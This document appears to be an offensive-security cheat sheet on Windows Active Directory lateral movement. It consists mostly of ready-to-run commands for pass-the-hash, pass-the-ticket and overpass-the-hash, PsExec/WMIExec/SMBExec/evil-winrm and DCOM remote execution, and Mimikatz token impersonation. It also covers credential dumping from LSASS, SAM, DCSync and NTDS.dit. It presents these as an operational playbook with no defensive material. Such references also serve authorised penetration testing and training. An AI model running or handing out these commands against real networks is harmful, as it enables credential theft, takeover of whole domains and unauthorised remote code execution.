AD Lateral Movement
Windows lateral movement after initial foothold: Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, PsExec/SMBExec/WMIExec/ATExec/evil-winrm, DCOM, RDP pass-the-hash, token impersonation, and impacket lateral movement suite.
After dumping hashes or tickets from one host, lateral movement uses those credentials to reach the next hop without cracking them. The technique you pick depends on which port is open and what level of interaction you need.
Decision Matrix
| Technique | Requirement | Ports | Gives you |
|---|---|---|---|
| PsExec (impacket) | Local admin, SMB open | 445 | SYSTEM shell |
| SMBExec | Local admin, SMB open | 445 | Semi-interactive shell |
| WMIExec | Local admin, WMI open | 135, 445 | Shell as user |
| ATExec | Local admin, Task Scheduler | 445 | Command output only |
| evil-winrm | WinRM open, admin | 5985/5986 | PowerShell shell |
| DCOM | Admin, DCOM | 135 | Code execution |
| RDP (PTH) | Restricted Admin mode | 3389 | GUI session |
| SSH | SSH service running | 22 | Shell |
Pass-the-Hash (PTH)
Use an NTLM hash to authenticate without the plaintext password.
# impacket psexec with hash
psexec.py -hashes :NTLM_HASH DOMAIN/user@TARGET_IP
# wmiexec
wmiexec.py -hashes :NTLM_HASH DOMAIN/user@TARGET_IP
# smbexec
smbexec.py -hashes :NTLM_HASH DOMAIN/user@TARGET_IP
# NetExec — verify local admin and execute command
nxc smb TARGET_IP -u user -H NTLM_HASH -x "whoami"
nxc smb 10.10.10.0/24 -u Administrator -H NTLM_HASH --local-auth
# secretsdump with hash (dump SAM on target)
secretsdump.py -hashes :NTLM_HASH DOMAIN/user@TARGET_IP
# xfreerdp with hash (Restricted Admin mode must be enabled on target)
xfreerdp /v:TARGET_IP /u:user /pth:NTLM_HASH /d:DOMAIN
Invoke-TheHash (Windows)
# SMB PTH
Invoke-SMBExec -Target TARGET_IP -Domain DOMAIN -Username user -Hash NTLM_HASH -Command "whoami" -Verbose
# WMI PTH
Invoke-WMIExec -Target TARGET_IP -Domain DOMAIN -Username user -Hash NTLM_HASH -Command "whoami" -Verbose
Pass-the-Ticket (PTT)
Inject a Kerberos TGT or TGS ticket into the current logon session.
# Rubeus — request a TGT with a hash (Overpass-the-Hash)
.\Rubeus.exe asktgt /user:jsmith /rc4:NTLM_HASH /ptt
# Rubeus — inject a .kirbi ticket file
.\Rubeus.exe ptt /ticket:ticket.kirbi
# Rubeus — inject from base64
.\Rubeus.exe ptt /ticket:BASE64_TICKET
# Mimikatz — inject ticket
kerberos::ptt ticket.kirbi
kerberos::ptt C:\Tickets\administrator.kirbi
# Verify injection
klist
dir \\TARGET\C$ # test access
# Linux — export tickets as .ccache
export KRB5CCNAME=/tmp/ticket.ccache
# Use with impacket
psexec.py -k -no-pass DOMAIN/user@TARGET_IP
wmiexec.py -k -no-pass DOMAIN/user@TARGET_IP
secretsdump.py -k -no-pass DOMAIN/user@TARGET_IP
Overpass-the-Hash (OtH)
Convert an NTLM hash into a Kerberos TGT:
# Mimikatz — request TGT using hash, inject into session
sekurlsa::pth /user:jsmith /domain:corp.local /ntlm:NTLM_HASH /run:cmd.exe
# Rubeus — request TGT from hash
.\Rubeus.exe asktgt /user:jsmith /rc4:NTLM_HASH /ptt
.\Rubeus.exe asktgt /user:jsmith /aes256:AES_KEY /ptt # stealthier (uses AES)
impacket Lateral Movement Suite
# PsExec — creates a service, gives SYSTEM
psexec.py DOMAIN/user:'password'@TARGET_IP
psexec.py -hashes :HASH DOMAIN/user@TARGET_IP
# WMIExec — uses WMI, no service creation
wmiexec.py DOMAIN/user:'password'@TARGET_IP
wmiexec.py -hashes :HASH DOMAIN/user@TARGET_IP
wmiexec.py DOMAIN/user:'password'@TARGET_IP -shell-type powershell
# SMBExec — uses SMB, semi-interactive
smbexec.py DOMAIN/user:'password'@TARGET_IP
# ATExec — scheduled task, one command at a time
atexec.py DOMAIN/user:'password'@TARGET_IP "whoami"
# DCOMExec — DCOM lateral movement
dcomexec.py DOMAIN/user:'password'@TARGET_IP
# All commands with Kerberos ticket
export KRB5CCNAME=ticket.ccache
psexec.py -k -no-pass corp.local/jsmith@TARGET_IP
evil-winrm (WinRM)
# Password authentication
evil-winrm -i TARGET_IP -u user -p 'password'
# Hash authentication
evil-winrm -i TARGET_IP -u user -H NTLM_HASH
# With SSL (port 5986)
evil-winrm -i TARGET_IP -u user -p 'password' -S
# Upload/download files in session
*Evil-WinRM* PS> upload /local/path/tool.exe C:\Temp\tool.exe
*Evil-WinRM* PS> download C:\Temp\output.txt /local/output.txt
# Load PowerShell script into session
evil-winrm -i TARGET_IP -u user -p 'password' -s /path/to/scripts/
# Load C# binary in session
evil-winrm -i TARGET_IP -u user -p 'password' -e /path/to/executables/
DCOM Lateral Movement
# MMC20.Application DCOM object (classic technique)
$dcom = [System.Activator]::CreateInstance([Type]::GetTypeFromProgID("MMC20.Application.1","TARGET_IP"))
$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c whoami > C:\Temp\out.txt","7")
# ShellBrowserWindow DCOM
$shell = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","TARGET_IP"))
$shell.Application.ShellExecute("cmd.exe","/c whoami","C:\Windows\System32",$null,0)
# ShellWindows DCOM
$win = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","TARGET_IP"))
$win.Item().Document.Application.ShellExecute("cmd.exe","/c whoami","C:\Windows\System32",$null,0)
Token Impersonation (after local admin)
# Mimikatz — steal token from a logged-in privileged user
privilege::debug
token::whoami
token::list
token::elevate /domainadmin # elevate to domain admin token if available
token::impersonate /id:LUID
# Incognito (meterpreter / standalone)
load incognito
list_tokens -u
impersonate_token "DOMAIN\DomainAdmin"
Credential Dumping (prerequisite for lateral movement)
# Mimikatz LSASS dump (requires SeDebugPrivilege)
privilege::debug
sekurlsa::logonpasswords
# SAM database dump (local accounts only)
lsadump::sam
lsadump::secrets
# DCSync (if replication rights)
lsadump::dcsync /user:krbtgt
lsadump::dcsync /all /csv
# secretsdump — all creds from SAM/LSASS remotely
secretsdump.py DOMAIN/admin:'pass'@TARGET_IP
secretsdump.py -hashes :HASH DOMAIN/admin@TARGET_IP
# NTDS.dit via VSS (requires DC)
secretsdump.py -just-dc DOMAIN/admin:'pass'@DC_IP
# NetExec — dump SAM, LSA, NTDS remotely
nxc smb TARGET_IP -u admin -p 'pass' --sam
nxc smb TARGET_IP -u admin -p 'pass' --lsa
nxc smb DC_IP -u admin -p 'pass' --ntds vss
Pivoting After Lateral Movement
# Once on a new host, enumerate local groups
nxc smb TARGET_IP -u user -p 'pass' --local-groups
# Check for cached credentials / other logged-in users
sekurlsa::logonpasswords # mimikatz on new host
# Set up SOCKS proxy through new host for deeper network access
# (see tunneling-techniques / pivoting-ligolo notes)